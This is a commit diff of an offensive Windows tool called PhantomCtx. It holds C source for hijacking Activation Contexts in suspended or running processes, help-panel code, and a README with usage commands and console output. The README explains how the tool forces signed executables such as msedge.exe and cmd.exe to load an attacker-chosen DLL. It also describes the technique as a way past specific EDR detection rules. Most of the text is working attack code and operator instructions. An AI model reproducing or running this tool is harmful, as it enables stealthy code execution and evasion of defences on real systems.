fnCreateProcessW pCreateProcessW = (fnCreateProcessW)phantom_GetProcAddressA(hKernel32, "CreateProcessW");
fnNtReadVirtualMemory pNtReadVirtualMemory = (fnNtReadVirtualMemory)phantom_GetProcAddressA(hNtdll, "NtReadVirtualMemory");
fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)phantom_GetProcAddressA(hNtdll, "NtQueryInformationProcess");
fnNtCreateSection pNtCreateSection = (fnNtCreateSection)phantom_GetProcAddressA(hNtdll, "NtCreateSection");
fnNtMapViewOfSection pNtMapViewOfSection = (fnNtMapViewOfSection)phantom_GetProcAddressA(hNtdll, "NtMapViewOfSection");
fnNtUnmapViewOfSection pNtUnmapViewOfSection = (fnNtUnmapViewOfSection)phantom_GetProcAddressA(hNtdll, "NtUnmapViewOfSection");
fnResumeThread pResumeThread = (fnResumeThread)phantom_GetProcAddressA(hKernel32, "ResumeThread");
if (!pCreateProcessW || !pNtReadVirtualMemory || !pNtQueryInformationProcess || !pNtCreateSection || !pNtMapViewOfSection || !pNtUnmapViewOfSection || !pResumeThread) {
printf("[ERROR] Dynamic function address resolution failed.\n");
return FALSE;
}
// Launch target process in suspended state
WCHAR* widePath = phantom_char_to_wchar_ascii(targetPath);
STARTUPINFOW si = { 0 };
si.cb = sizeof(STARTUPINFOW);
PROCESS_INFORMATION pi = { 0 };
BOOL result = pCreateProcessW(NULL, widePath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
free(widePath);
if (!result) {
printf("[ERROR] CreateProcessW failed: %u\n", GetLastError());
return FALSE;
}
printf("[SUCCESS] Suspended process created...\n");
// Copy ACTIVATION_CONTEXT_DATA blob from the suspended target process itself
SIZE_T actCtxSize = 0;
void* actCtxBlob = CopyRemoteActCtxByHandle(pNtQueryInformationProcess, pNtReadVirtualMemory, pi.hProcess, &actCtxSize);
if (!actCtxBlob) {
printf("[ERROR] Failed to copy Activation Context Data blob to local process buffer.\n");
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return FALSE;
}
printf("[INFO] Blob copied from target. TotalSize=0x%lX\n", (ULONG)actCtxSize);
// Reallocate with extra space for patching
BYTE* blob = (BYTE*)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, actCtxBlob, actCtxSize + EXTRA_BYTES);
if (!blob) {
printf("[ERROR] HeapReAlloc failed.\n");
HeapFree(GetProcessHeap(), 0, actCtxBlob);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return FALSE;
}
// Convert dllName and dllPath to WCHAR
WCHAR* wDllName = phantom_char_to_wchar_ascii(dllName);
WCHAR* wDllPath = phantom_char_to_wchar_ascii(dllPath);
if (!wDllName || !wDllPath) {
printf("[ERROR] Failed to convert dllName/dllPath to WCHAR.\n");
free(wDllName);
free(wDllPath);
HeapFree(GetProcessHeap(), 0, blob);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return FALSE;
}
// Search for the target entry by case-insensitive name
ACTIVATION_CONTEXT_DATA* actx = (ACTIVATION_CONTEXT_DATA*)blob;
ACTIVATION_CONTEXT_DATA_TOC_HEADER* toc = (ACTIVATION_CONTEXT_DATA_TOC_HEADER*)(blob + actx->DefaultTocOffset);
ACTIVATION_CONTEXT_DATA_TOC_ENTRY* tocEntries = (ACTIVATION_CONTEXT_DATA_TOC_ENTRY*)(blob + toc->FirstEntryOffset);
ACTIVATION_CONTEXT_DATA_TOC_ENTRY* dllToc = NULL;
for (ULONG i = 0; i < toc->EntryCount; i++) {
if (tocEntries[i].Id == ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION) {
dllToc = &tocEntries[i];
break;
}
}
if (!dllToc) {
printf("[ERROR] No DLL redirection section (Id==2) found in the target's blob.\n");
printf("[HINT] The target has no SxS DLL redirection manifest.\n");
printf(" Use 'steal-context' to steal the entire Activation Context from a process that has one.\n");
free(wDllName);
free(wDllPath);
HeapFree(GetProcessHeap(), 0, blob);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return FALSE;
}
ACTIVATION_CONTEXT_STRING_SECTION_HEADER* sshdr = (ACTIVATION_CONTEXT_STRING_SECTION_HEADER*)(blob + dllToc->Offset);
BYTE* B1 = (BYTE*)sshdr;
ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* strEntries = (ACTIVATION_CONTEXT_STRING_SECTION_ENTRY*)(B1 + sshdr->ElementListOffset);
ULONG keyByteLen = (ULONG)(wcslen(wDllName) * sizeof(WCHAR));
LONG foundIdx = -1;
for (ULONG i = 0; i < sshdr->ElementCount; i++) {
if (keyByteLen != strEntries[i].KeyLength) continue;
const WCHAR* existingKey = (const WCHAR*)(B1 + strEntries[i].KeyOffset);
ULONG nChars = keyByteLen / sizeof(WCHAR);
BOOL match = TRUE;
for (ULONG c = 0; c < nChars; c++) {
WCHAR a = existingKey[c];
WCHAR b = wDllName[c];
if (a >= L'A' && a <= L'Z') a += (L'a' - L'A');
if (b >= L'A' && b <= L'Z') b += (L'a' - L'A');
if (a != b) { match = FALSE; break; }
}
if (match) { foundIdx = (LONG)i; break; }
}
free(wDllName);
if (foundIdx < 0) {
printf("[ERROR] '%s' not found in DLL redirection section.\n", dllName);
printf("[HINT] No existing redirect for this DLL. Use 'add-entry' to create one.\n");
free(wDllPath);
HeapFree(GetProcessHeap(), 0, blob);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return FALSE;
}
printf("[INFO] Patching entry[%ld]: dllName='%s' redirectPath='%s'\n", foundIdx, dllName, dllPath);
// Patch the existing entry
ULONG newTotalSize = PatchDllRedirectionEntry(blob, (ULONG)actCtxSize, (ULONG)foundIdx, wDllPath);
free(wDllPath);
if (newTotalSize == (ULONG)actCtxSize) {
printf("[ERROR] PatchDllRedirectionEntry failed.\n");
HeapFree(GetProcessHeap(), 0, blob);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return FALSE;
}
printf("[SUCCESS] Entry patched. New TotalSize = 0x%lX\n", newTotalSize);
// Print patched blob contents
printf("\n[INFO] Patched ActivationContextData:\n");
ParseDllRedirections((const BYTE*)blob, newTotalSize);
// Inject patched Activation Context blob into the suspended target process
NTSTATUS status = HijackActCtx(pNtReadVirtualMemory, pNtCreateSection, pNtMapViewOfSection, pNtUnmapViewOfSection, pNtQueryInformationProcess, pi.hProcess, blob, newTotalSize);
if (!NT_SUCCESS(status)) {
printf("[ERROR] HijackActCtx failed: 0x%08lX\n", status);
HeapFree(GetProcessHeap(), 0, blob);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return FALSE;
}
result = pResumeThread(pi.hThread);
if (!result) {
printf("[ERROR] ResumeThread failed: %u\n", GetLastError());
HeapFree(GetProcessHeap(), 0, blob);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return FALSE;
}
printf("[SUCCESS] Target process resumed.\n");
// Cleanup
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
HeapFree(GetProcessHeap(), 0, blob);
return TRUE;
}
BOOL modeSpawn(const char* submode, const char* target, const char* dllName, const char* dllPath, const char* stealFrom) {
if (strcmp(submode, "steal-context") == 0) {
if (!spawnStealContext(target, dllName, dllPath, stealFrom)) return FALSE;
return TRUE;
} else if (strcmp(submode, "add-entry") == 0) {
if (!spawnAddEntry(target, dllName, dllPath)) return FALSE;
return TRUE;
} else if (strcmp(submode, "patch-entry") == 0) {
if (!spawnPatchEntry(target, dllName, dllPath)) return FALSE;
return TRUE;
}
return FALSE;
}
+29
View File
@@ -0,0 +1,29 @@
#pragma once
#include <Windows.h>
BOOL modeSpawn(
const char* submode,
const char* targetPath,
const char* dllName,
const char* dllPath,
const char* stealFrom
);
BOOL spawnStealContext(
const char* targetPath,
const char* dllName,
const char* dllPath,
const char* stealFrom
);
BOOL spawnAddEntry(
const char* targetPath,
const char* dllName,
const char* dllPath
);
BOOL spawnPatchEntry(
const char* targetPath,
const char* dllName,
const char* dllPath
);
+102
View File
@@ -0,0 +1,102 @@
#include <Windows.h>
#include <stdio.h>
#include "utils.h"
VOID helpPanel() {
printf("\n\t\t+----------------------------------+\n");
printf("\t\t| PhantomCtx v1.0 |\n");
printf("\t\t+----------------------------------+\n\n");
printf(" Usage:\n");
printf("\tPhantomCtx.exe -m [MODE] [OPTIONS]\n\n");
printf(" Modes:\n");
printf("\t-m recon\tDisplays information about the Activation Context DLL redirections\n");
printf("\t\t\tof a running process or one to be spawned.\n\n");
printf("\t-m spawn\tPerform Activation Context Hijacking using an on-disk executable\n");
printf("\t\t\t(preferably a signed binary for OPSEC purposes).\n\n");
printf("\t-m runtime\tPerform Activation Context Hijacking on an already running process.\n\n");
}
VOID helpPanelRecon() {
printf("\n\t\t+----------------------------------+\n");
printf("\t\t| PhantomCtx v1.0 |\n");
printf("\t\t+----------------------------------+\n\n");
printf(" Usage:\n");
printf("\tPhantomCtx.exe -m recon -s [SUBMODE] -p [PROCESS_NAME|PATH]\n\n");
printf(" Submodes:\n");
printf("\t-s spawn\tSpawn a process in suspended mode to retrieve its\n");
printf("\t\t\tActivation Context DLL redirection information.\n\n");
printf("\t-s runtime\tAttach to a currently running process to retrieve its\n");
printf("\t\t\tActivation Context DLL redirection information.\n\n");
printf(" Examples:\n");
printf("\tPhantomCtx.exe -m recon -s spawn -p C:\\path\\to\\target.exe\n");
printf("\tPhantomCtx.exe -m recon -s runtime -p target.exe\n\n");
}
VOID helpPanelSpawn() {
printf("\n\t\t+----------------------------------+\n");
printf("\t\t| PhantomCtx v1.0 |\n");
printf("\t\t+----------------------------------+\n\n");
printf(" Usage:\n");
printf("\tPhantomCtx.exe -m spawn -s [SUBMODE] -p [PATH] [OPTIONS]\n\n");
printf(" Submodes:\n");
printf("\t-s steal-context\tSpawn a process and hijack its Activation Context\n");
printf("\t\t\t\tby stealing the context from another running process.\n\n");
printf("\t-s add-entry\t\tSpawn a process and hijack its Activation Context\n");
printf("\t\t\t\tby adding a new DLL redirection entry.\n\n");
printf("\t-s patch-entry\t\tSpawn a process and hijack its Activation Context\n");
printf("\t\t\t\tby patching the path of an existing DLL redirection entry.\n\n");
printf(" Options:\n");
printf("\t-p <PATH>\t\tPath to the target executable to spawn.\n");
printf("\t-d <DLL>\t\tName of the DLL to hijack (e.g. comctl32.dll).\n");
printf("\t--dll-path <PATH>\tPath to the custom DLL to load.\n\n");
printf(" steal-context Options:\n");
printf("\t--steal-from <NAME>\tProcess name to steal the Activation Context from.\n\n");
printf(" Examples:\n");
printf("\tPhantomCtx.exe -m spawn -s steal-context -p C:\\program.exe --steal-from explorer.exe -d crypt32.dll --dll-path C:\\path\\to\\custom.dll\n");
printf("\tPhantomCtx.exe -m spawn -s add-entry -p C:\\program.exe -d crypt32.dll --dll-path C:\\path\\to\\custom.dll\n");
printf("\tPhantomCtx.exe -m spawn -s patch-entry -p C:\\program.exe -d comctl32.dll --dll-path C:\\path\\to\\custom.dll\n\n");
}
VOID helpPanelRuntime(){
printf("\n\t\t+----------------------------------+\n");
printf("\t\t| PhantomCtx v1.0 |\n");
printf("\t\t+----------------------------------+\n\n");
printf(" Usage:\n");
printf("\tPhantomCtx.exe -m runtime -s [SUBMODE] -p [PROCESS_NAME] [OPTIONS]\n\n");
printf(" Submodes:\n");
printf("\t-s steal-context\tHijack the Activation Context of a running process\n");
printf("\t\t\t\tby stealing the context from another running process.\n\n");
printf("\t-s add-entry\t\tHijack the Activation Context of a running process\n");
printf("\t\t\t\tby adding a new DLL redirection entry.\n\n");
printf("\t-s patch-entry\t\tHijack the Activation Context of a running process\n");
printf("\t\t\t\tby patching the path of an existing DLL redirection entry.\n\n");
printf(" Options:\n");
printf("\t-p <PROCESS_NAME>\tName of the already running target process (e.g. notepad.exe).\n");
printf("\t-d <DLL>\t\tName of the DLL to hijack (e.g. comctl32.dll).\n");
printf("\t--dll-path <PATH>\tPath to the custom DLL to load.\n\n");
printf(" steal-context Options:\n");
printf("\t--steal-from <NAME>\tProcess name to steal the Activation Context from.\n\n");
printf(" Examples:\n");
printf("\tPhantomCtx.exe -m runtime -s steal-context -p program.exe --steal-from explorer.exe -d crypt32.dll --dll-path C:\\path\\to\\custom.dll\n");
printf("\tPhantomCtx.exe -m runtime -s add-entry -p program.exe -d crypt32.dll --dll-path C:\\path\\to\\custom.dll\n");
printf("\tPhantomCtx.exe -m runtime -s patch-entry -p program.exe -d comctl32.dll --dll-path C:\\path\\to\\custom.dll\n\n");
}
+7
View File
@@ -0,0 +1,7 @@
#pragma once
#include <Windows.h>
VOID helpPanel();
VOID helpPanelRecon();
VOID helpPanelSpawn();
VOID helpPanelRuntime();
+650
View File
@@ -0,0 +1,650 @@
# PhantomCtx
PhantomCtx is a tool that automates [Activation Context](https://learn.microsoft.com/en-us/windows/win32/sbscs/activation-contexts) hijacking with the objective of loading an arbitrary DLL into the vast majority of signed executables (e.g. Microsoft, Adobe, Mozilla).
The loader is presented as a modern alternative to traditional [DLL Sideloading](https://attack.mitre.org/techniques/T1574/001/): unlike conventional approaches, it does not require a vulnerable binary. The technique can be performed as long as the target executable **resolves a DLL through its Import Address Table (IAT)** or, in the worst case, via `LoadLibrary` without an absolute path.
```c
C:\PhantomCtx\x64>.\PhantomCtx.exe
+----------------------------------+
| PhantomCtx v1.0 |
+----------------------------------+
Usage:
PhantomCtx.exe -m [MODE] [OPTIONS]
Modes:
-m recon Displays information about the Activation Context DLL redirections
of a running process or one to be spawned.
-m spawn Perform Activation Context Hijacking using an on-disk executable
(preferably a signed binary for OPSEC purposes).
-m runtime Perform Activation Context Hijacking on an already running process.
```
# Table of Contents
- [Internal Mechanism](#internal-mechanism)
- [A New Method for Activation Context Hijacking Focused on EDR Evasion](#a-new-method-for-activation-context-hijacking-focused-on-edr-evasion)
- [Usage: Module-Based Workflow](#usage-module-based-workflow)
- [Recon](#recon)
- [Spawn (recommended)](#spawn-recommended)
- [Runtime](#runtime)
- [Example: Activation Context Hijacking + DLL Proxying mpnotify.exe](#example-activation-context-hijacking--dll-proxying-mpnotifyexe)
- [How to Compile](#how-to-compile)
- [Disclaimer](#disclaimer)
- [References](#references)
# Internal Mechanism
`PhantomCtx` abuses a **legitimate** Windows feature present in most processes, called **Activation Contexts**. According to Microsoft:
>[_Activation contexts_](https://learn.microsoft.com/en-us/windows/win32/sbscs/a-sbscs-gly) are data structures in memory containing information that the system can use to redirect an application **to load a particular DLL version**, COM object instance, or custom window version...
When the Windows Loader resolves a DLL (via `LoadLibrary` or the import table), it follows a defined resolution order:
1. DLL redirection
2. API sets
3. **SxS manifest redirection**
4. Loaded-module list
5. Known DLLs
6. Process package dependency graph
712. Standard file search order on disk
`PhantomCtx` targets step 3: SxS manifest redirection. Activation Contexts are derived from [Side-by-Side](https://en.wikipedia.org/wiki/Side-by-side_assembly) (`.manifest`) files associated with executables, typically embedded in PE binaries. Internally, an Activation Context contains a **Table of Contents (ToC)** indexing multiple sections, including the **DLL redirection section**. The Loader typically accesses Activation Contexts through `PEB.ActivationContextData`.
Research by [Kurosh Dabbagh Escalante](https://github.com/Kudaes) showed that a malicious Activation Context can be constructed using `CreateActCtx`, written into `RW` memory in a target process, and then activated by redirecting `PEB.ActivationContextData` to the crafted structure.
Once hijacked, the loader resolves DLL redirections defined within the malicious Activation Context, **redirecting library resolution** to paths controlled by the attacker.
The loader named `Eclipse`, developed as part of his research, can be found in its [official repository](https://github.com/Kudaes/Eclipse).
## A New Method for Activation Context Hijacking Focused on EDR Evasion
After multiple tests, `Eclipse` was detected by aggressive EDRs such as Elastic at the following points:
- `Potential Suspended Process Code Injection`: suspended process creation followed by `NtWriteVirtualMemory` to copy the AC blob into the remote process.
- `Remote Process Memory Write by Low Reputation Module`: `NtWriteVirtualMemory` without `CreateProcess` in the call stack and a low-reputation module, leading to `PEB.ActivationContextData` overwrite.
- `Remote Memory Write to Trusted Target Process`: `WriteProcessMemory` without `CreateProcess` in the call stack, restricted to system/user-installed binaries.
After one day of research looking for alternative approaches to implement in `PhantomCtx`, I discovered that **the memory region of the original Activation Context is a section view mapped during process creation**. It is possible to **unmap this section view using** `NtUnmapViewOfSection` and then create a new read-only section view backed by our malicious Activation Context, mapping it at the **exact same memory address** where the original one resided.
As a result, it is **no longer necessary** for the loader to overwrite the `PEB.ActivationContextData` pointer. This eliminates the requirement to use `NtAllocateVirtualMemory` and `NtWriteVirtualMemory`, bypassing all EDR monitoring rules related to remote process memory writes and injection.
Additionally, to increase detection difficulty, `PhantomCtx` does not use `CreateActCtxW`, removing the need to handle `.manifest` files during the attack. Depending on the selected mode, it can **steal the Activation Context from another remote process** containing a valid DLL redirection section using `NtReadVirtualMemory`, reconstruct the DLL redirection entries locally, patch it, and then replace the original.
# Usage: Module-Based Workflow
The tool is designed with a **modular architecture** to simplify development while providing the operator with a clear, step-based workflow.
Each module serves a **specific role** within the exploitation workflow.
**Please take a moment to review the purpose of each one to fully leverage the tools capabilities!!!**
The attack can be performed either on a **process to be spawned** (**recommended**) or on an **already running process**. The tool is designed to handle both scenarios.
```c
C:\PhantomCtx\x64>.\PhantomCtx.exe
+----------------------------------+
| PhantomCtx v1.0 |
+----------------------------------+
Usage:
PhantomCtx.exe -m [MODE] [OPTIONS]
Modes:
-m recon Displays information about the Activation Context DLL redirections
of a running process or one to be spawned.
-m spawn Perform Activation Context Hijacking using an on-disk executable
(preferably a signed binary for OPSEC purposes).
-m runtime Perform Activation Context Hijacking on an already running process.
```
## Recon
The `recon` mode focuses on parsing the Activation Context of the target program or running process. It is the first module that should be executed, as it determines which exploitation submodule should be used within the exploitation workflow.
```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -h
+----------------------------------+
| PhantomCtx v1.0 |
+----------------------------------+
Usage:
PhantomCtx.exe -m recon -s [SUBMODE] -p [PROCESS_NAME|PATH]
Submodes:
-s spawn Spawn a process in suspended mode to retrieve its
Activation Context DLL redirection information.
-s runtime Attach to a currently running process to retrieve its
Activation Context DLL redirection information.
Examples:
PhantomCtx.exe -m recon -s spawn -p C:\path\to\target.exe
PhantomCtx.exe -m recon -s runtime -p target.exe
```
As an example, we use the signed Microsoft binary `mpnotify.exe`. The first step is to determine whether it contains a valid Activation Context with a DLL redirection section.
If it does not, the tool recommends the `steal-context` submodule under the `spawn` or `runtime` modes, which retrieves an Activation Context from another process containing a valid redirection section.
```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -s spawn -p "C:\Windows\System32\mpnotify.exe"
[SUCCESS] Suspended process created...
[SUCCESS] Activation Context Data Blob copied to local heap buffer @00000294CEA79CD0 (916 bytes)
+-[ ACTIVATION CONTEXT DATA ]
| Magic : 0x78746341 (Actx)
| HeaderSize : 0x20 (32 bytes)
| FormatVersion : 1
| TotalSize : 0x394 (916 bytes)
| Flags : 0x00000000
|
+--[ TOC ] 6 entries
| [00] Id=1 Format=1 Offset=0x00D4 Length=0x0218
| [01] Id=4 Format=2 Offset=0x02EC Length=0x0028
| [02] Id=5 Format=2 Offset=0x0314 Length=0x0028
| [03] Id=6 Format=2 Offset=0x033C Length=0x0028
| [04] Id=9 Format=2 Offset=0x0364 Length=0x0028
| [05] Id=11 Format=1 Offset=0x038C Length=0x0008
|
+--[ DLL REDIRECTION ] not present in this blob
|
+--[ HINT ] Use 'steal-context' to steal the Activation Context
from a running process that has one.
Example: -m spawn|runtime -s steal-context -p <target> -d <dll> --dll-path <path> --steal-from <process>
```
If the target program or process Activation Context contains a valid DLL redirection section, the most efficient approach is to use the `add-entry` or `patch-entry` submodules within the `spawn` or `runtime` exploitation modes.
## Spawn (recommended)
The `spawn` mode is designed to perform Activation Context hijacking by spawning a process from a signed executable on the target system.
This method is the **most recommended** and thoroughly tested, due to its operational simplicity and reliability.
```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -h
+----------------------------------+
| PhantomCtx v1.0 |
+----------------------------------+
Usage:
PhantomCtx.exe -m spawn -s [SUBMODE] -p [PATH] [OPTIONS]
Submodes:
-s steal-context Spawn a process and hijack its Activation Context
by stealing the context from another running process.
-s add-entry Spawn a process and hijack its Activation Context
by adding a new DLL redirection entry.
-s patch-entry Spawn a process and hijack its Activation Context
by patching the path of an existing DLL redirection entry.
Options:
-p <PATH> Path to the target executable to spawn.
-d <DLL> Name of the DLL to hijack (e.g. comctl32.dll).
--dll-path <PATH> Path to the custom DLL to load.
steal-context Options:
--steal-from <NAME> Process name to steal the Activation Context from.
Examples:
PhantomCtx.exe -m spawn -s steal-context -p C:\program.exe --steal-from explorer.exe -d crypt32.dll --dll-path C:\path\to\custom.dll
PhantomCtx.exe -m spawn -s add-entry -p C:\program.exe -d crypt32.dll --dll-path C:\path\to\custom.dll
PhantomCtx.exe -m spawn -s patch-entry -p C:\program.exe -d comctl32.dll --dll-path C:\path\to\custom.dll
```
The internal workflow of this mode is as follows:
1. Create the target process in a suspended state using `CreateProcessW`.
2. Depending on the selected submodule:
- `steal-context`: Open the stealing process and copy a valid Activation Context containing a DLL redirection section into a local buffer. Depending on whether an entry for the target DLL already exists, a new entry is created or an existing one is patched. The modified Activation Context is then mapped into the suspended process, replacing the original one.
- `add-entry`: Open the suspended program process and copy its Activation Context into a local buffer. A new DLL redirection entry is added for the specified DLL, and the modified Activation Context replaces the original.
- `patch-entry`: Open the suspended program process and copy its Activation Context into a local buffer. The existing DLL redirection entry for the specified DLL is patched to point to the provided payload DLL path, and the modified Activation Context replaces the original.
3. Resume execution of the suspended process using `ResumeThread`.
The `steal-context` submodule is recommended when the **target executable does not contain a valid Activation Context or a valid DLL redirection section**. This can be determined using the previously executed `recon` module.
A reliable target for context stealing is `explorer.exe`. This does not introduce instability or detection risk, as the operation only involves reading virtual memory.
```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -s steal-context -p "C:\Windows\System32\mpnotify.exe" --steal-from explorer.exe -d advapi32.dll --dll-path C:\hijack\hijack.dll
[SUCCESS] Found 'explorer.exe' PID 1604
[SUCCESS] Opened handle to PID 1604
[SUCCESS] Activation Context Data Blob copied to local heap buffer @000001AC80F53FD0 (8256 bytes)
[INFO] Activation Context blob from 'explorer.exe'. TotalSize=0x2040
[INFO] Patching blob: dllName='advapi32.dll' redirectPath='C:\hijack\hijack.dll'
[+] 'advapi32.dll' not found -> adding new entry.
[ADD] DLL key : advapi32.dll
[ADD] Redirect path : C:\hijack\hijack.dll
[ADD] PseudoKey : 0xF60E87FC
[ADD] RosterIndex : 1
[ADD] ElementCount : 3
[ADD] TotalSize : 0x2040 -> 0x20E4
[SUCCESS] Blob patched. New TotalSize = 0x20E4
[INFO] Patched ActivationContextData:
|
<SNIP>
|
+--[ DLL REDIRECTION ] 3 entries
|
<SNIP>
|
| [02] advapi32.dll
| PseudoKey : 0xF60E87FC
| RosterIdx : 1
| Flags : PATH_INCLUDES_BASE_NAME
| Segments : 1 PathLen=40 bytes
| Path : C:\hijack\hijack.dll
|
+--[ END ]
<SNIP>
[SUCCESS] Original Activation Context region unmapped @ 00000164EA0A0000
[SUCCESS] Patched Activation Context mapped at 00000164EA0A0000 (same address)
[SUCCESS] Target process resumed.
```
The `add-entry` and `patch-entry` submodules are used when **the application already has a valid Activation Context with a DLL redirection section** and:
1. It already contains a redirection entry for a DLL; in this case, `patch-entry` is the appropriate option.
2. A custom redirection needs to be added for a library that is expected to be loaded during execution; in this case, `add-entry` is used.
Although `steal-context` can still be used in these scenarios, it is generally unnecessary, as a valid Activation Context is already available for modification.
A `patch-entry` example can be observed after enumerating `msedge.exe` with `PhantomCtx`, where an existing custom redirection entry for `msedge_elf.dll` is identified:
```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -s spawn -p "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
<SNIP>
|
| [01] msedge_elf.dll
| PseudoKey : 0x81A505F9
| RosterIdx : 3
| Flags : OMITS_ASSEMBLY_ROOT
| Segments : 0 PathLen=0 bytes
| Path : <reconstructed from roster>
|
<SNIP>
C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -s patch-entry -p "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -d msedge_elf.dll --dll-path C:\hijack\hijack.dll
<SNIP>
[INFO] Patched ActivationContextData:
<SNIP>
|
| [01] msedge_elf.dll
| PseudoKey : 0x81A505F9
| RosterIdx : 3
| Flags : PATH_INCLUDES_BASE_NAME
| Segments : 1 PathLen=40 bytes
| Path : C:\hijack\hijack.dll
<SNIP>
```
Alternatively, by enumerating the IAT of the target process, imported DLLs suitable for hijacking can be identified. For example, `librewolf.exe` imports `SHLWAPI.dll` even if it is not present in the Activation Context manifest; in such cases, it can be added to the redirection table to force resolution.
```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -s add-entry -p "C:\Program Files\LibreWolf\librewolf.exe" -d SHLWAPI.dll --dll-path C:\hijack\hijack.dll
<SNIP>
[INFO] Patched ActivationContextData:
<SNIP>
|
+--[ DLL REDIRECTION ] 4 entries
| [00] SHLWAPI.dll
| PseudoKey : 0x65C6D010
| RosterIdx : 1
| Flags : PATH_INCLUDES_BASE_NAME
| Segments : 1 PathLen=40 bytes
| Path : C:\hijack\hijack.dll
|
<SNIP>
```
## Runtime
The `runtime` mode is designed to perform Activation Context hijacking on a signed, already-running process.
Although this module is implemented, its effectiveness depends on accurately **knowing when and which specific library is loaded during the process runtime**. As a result, even if the Activation Context of the legitimate process is hijacked, success still relies on the target calling `LoadLibrary` without an explicit path, which is often difficult to predict.
```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m runtime -h
+----------------------------------+
| PhantomCtx v1.0 |
+----------------------------------+
Usage:
PhantomCtx.exe -m runtime -s [SUBMODE] -p [PROCESS_NAME] [OPTIONS]
Submodes:
-s steal-context Hijack the Activation Context of a running process
by stealing the context from another running process.
-s add-entry Hijack the Activation Context of a running process
by adding a new DLL redirection entry.
-s patch-entry Hijack the Activation Context of a running process
by patching the path of an existing DLL redirection entry.
Options:
-p <PROCESS_NAME> Name of the already running target process (e.g. notepad.exe).
-d <DLL> Name of the DLL to hijack (e.g. comctl32.dll).
--dll-path <PATH> Path to the custom DLL to load.
steal-context Options:
--steal-from <NAME> Process name to steal the Activation Context from.
Examples:
PhantomCtx.exe -m runtime -s steal-context -p program.exe --steal-from explorer.exe -d crypt32.dll --dll-path C:\path\to\custom.dll
PhantomCtx.exe -m runtime -s add-entry -p program.exe -d crypt32.dll --dll-path C:\path\to\custom.dll
PhantomCtx.exe -m runtime -s patch-entry -p program.exe -d comctl32.dll --dll-path C:\path\to\custom.dll
```
The internal workflow of this mode is as follows:
1. The PID of the target process is identified from its executable name, and the process is opened with the permissions `PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION`.
2. Depending on the selected submodule:
- `steal-context`: Open the stealing process and copy a valid Activation Context containing a DLL redirection section into a local buffer. Depending on whether an entry for the target DLL already exists, a new entry is created or the existing one is patched. The modified Activation Context is then mapped into the running process, replacing the original one.
- `add-entry`: Open the target running process and copy its Activation Context into a local buffer. A new DLL redirection entry is added for the specified DLL, and the modified Activation Context replaces the original.
- `patch-entry`: Open the target running process and copy its Activation Context into a local buffer. The existing DLL redirection entry for the specified DLL is patched to point to the provided payload DLL, and the updated Activation Context replaces the original.
The `steal-context` submodule is recommended when **the target running process does not contain a valid Activation Context or a valid DLL redirection section**. This can be determined using the previously executed `recon` module.
A reliable target for context stealing is `explorer.exe`. This does not introduce instability or detection risk, as the operation only involves reading virtual memory.
```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m runtime -s steal-context -p cmd.exe --steal-from explorer.exe -d user32.dll --dll-path C:\hijack\hijack.dll
<SNIP>
[INFO] Patched ActivationContextData:
<SNIP>
|
+--[ DLL REDIRECTION ] 3 entries
| [00] user32.dll
| PseudoKey : 0x0DB00860
| RosterIdx : 1
| Flags : PATH_INCLUDES_BASE_NAME
| Segments : 1 PathLen=40 bytes
| Path : C:\hijack\hijack.dll
<SNIP>
[SUCCESS] Activation Context hijacked in running process 'cmd.exe'.
```
The `add-entry` and `patch-entry` submodules are used when **the running process already has a valid Activation Context with a DLL redirection section** and:
1. It already contains a redirection entry for a DLL; in this case, `patch-entry` is the appropriate option.
2. A custom redirection needs to be added for a library that is expected to be loaded during execution; in this case, `add-entry` is used.
Although `steal-context` can still be used in these scenarios, it is generally unnecessary, as a valid Activation Context is already available for modification.
A `patch-entry` example can be observed after enumerating the process `msedge.exe` with `PhantomCtx`, where an existing custom redirection entry for `msedge_elf.dll` is identified:
```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -s runtime -p msedge.exe
<SNIP>
|
| [01] msedge_elf.dll
| PseudoKey : 0x81A505F9
| RosterIdx : 3
| Flags : OMITS_ASSEMBLY_ROOT
| Segments : 0 PathLen=0 bytes
| Path : <reconstructed from roster>
|
<SNIP>
C:\PhantomCtx\x64>.\PhantomCtx.exe -m runtime -s patch-entry -p msedge.exe -d msedge_elf.dll --dll-path C:\hijack\hijack.dll
<SNIP>
[INFO] Patched ActivationContextData:
<SNIP>
|
| [01] msedge_elf.dll
| PseudoKey : 0x81A505F9
| RosterIdx : 3
| Flags : PATH_INCLUDES_BASE_NAME
| Segments : 1 PathLen=40 bytes
| Path : C:\hijack\hijack.dll
|
<SNIP>
[SUCCESS] Activation Context hijacked in running process 'msedge.exe'.
```
Alternatively, by enumerating the runtime events of the target process, DLLs loaded during execution that are suitable for hijacking can be identified using tools such as `Procmon`. In such cases, it can be added to the redirection table to force resolution.
```c
.\PhantomCtx.exe -m runtime -s add-entry -p msedge.exe -d target.dll --dll-path C:\hijack\hijack.dll
<SNIP>
[INFO] Patched ActivationContextData:
<SNIP>
|
+--[ DLL REDIRECTION ] 4 entries
| [00] target.dll
| PseudoKey : 0x2D1B25C7
